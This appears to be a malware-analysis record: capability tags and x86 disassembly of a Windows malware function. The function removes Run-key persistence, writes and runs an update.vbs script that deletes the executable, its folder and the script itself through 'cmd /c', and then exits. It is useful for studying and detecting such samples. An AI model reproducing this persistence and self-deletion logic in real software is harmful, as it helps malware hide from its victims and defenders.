Function at 0x40d420
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.00412850
cmp dword [0x47513c], 0
je 0x40d442
mov ecx, 0x4750f0
call fcn.0040b8ac
xor ebx, ebx
inc ebx
cmp byte [0x472d63], bl
jne 0x40d452
call fcn.00419a94
cmp byte [0x472a85], 0
je 0x40d46c
mov ecx, 0x474d64
call fcn.00401f04
push eax
pop ecx
call fcn.0041c291
mov esi, 0x4752c0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x472b33], bl
jne 0x40d493
push esi
pop ecx
call fcn.00401f04
push eax
push edi
pop edx
mov ecx, closesocket
call fcn.00413a23
pop ecx
mov ebp, closesocket
cmp byte [0x472b30], bl
jne 0x40d4b2
push esi
pop ecx
call fcn.00401f04
push eax
push edi
pop edx
push ebp
pop ecx
call fcn.00413a23
pop ecx
cmp byte [0x472b31], bl
jne 0x40d4cf
push esi
pop ecx
call fcn.00401f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
push ebp
pop ecx
call fcn.00413a23
pop ecx
mov esi, 0x475338
push esi
pop ecx
call fcn.0040247c
push eax
push esi
pop ecx
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x4752f0
push str.exepath
push ebx
pop ecx
call fcn.00401fab
push eax
pop edx
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d523
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push ebx
pop ecx
call fcn.00401fab
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
push eax
pop ebx
mov ebp, 0x466468
neg ebx
push ebp
pop edx
mov ecx, 0x475308
sbb bl, bl
and bl, 1
call fcn.004077b7
test al, al
je 0x40d57b
push 0x80
mov ecx, 0x475308
call fcn.00401f04
push eax
call esi
push str.update.vbs
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.0040417e
push eax
pop edx
lea ecx, [esp + 0x74]
call fcn.00403014
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.0040417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.004042fc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401f09
test bl, bl
je 0x40d62c
push 0x467030
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.0040417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042fc
pop ecx
push eax
pop edx
lea ecx, [esp + 0x2c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x58]
call fcn.00401f09
mov esi, 0x467068
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.0040417e
push eax
pop edx
lea ecx, [esp + 0x48]
call fcn.00403014
pop ecx
push eax
pop edx
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x28]
call fcn.00401f09
test bl, bl
je 0x40d697
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.00409052
mov ebx, 0x475308
push ebp
pop edx
push ebx
pop ecx
call fcn.004077b7
test al, al
je 0x40d6e2
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0040b97c
pop ecx
push eax
pop edx
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
push 0x467130
push 0x467134
lea ecx, [esp + 0xa8]
call fcn.0040417e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.0040417e
push eax
pop edx
lea ecx, [esp + 0x34]
call fcn.0040431d
pop ecx
push eax
pop edx
lea ecx, [esp + 0x48]
call fcn.00402fa5
pop ecx
push eax
pop edx
lea ecx, [esp + 0x5c]
call fcn.00403014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040325d
lea ecx, [esp + 0x58]
call fcn.00401f09
lea ecx, [esp + 0x40]
call fcn.00401f09
lea ecx, [esp + 0x28]
call fcn.00401f09
lea ecx, [esp + 0x88]
call fcn.00401f09
lea ecx, [esp + 0xa0]
call fcn.00401f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.00409052
push edi
lea ecx, [esp + 0x74]
call fcn.00401f04
push eax
lea ecx, [esp + 0x18]
call fcn.0040247c
push eax
pop esi
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00401f04
push esi
pop edx
push eax
pop ecx
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d7d6
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d7d6
push edi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00401f09
lea ecx, [esp + 0x70]
call fcn.00401f09
lea ecx, [esp + 0x2c8]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret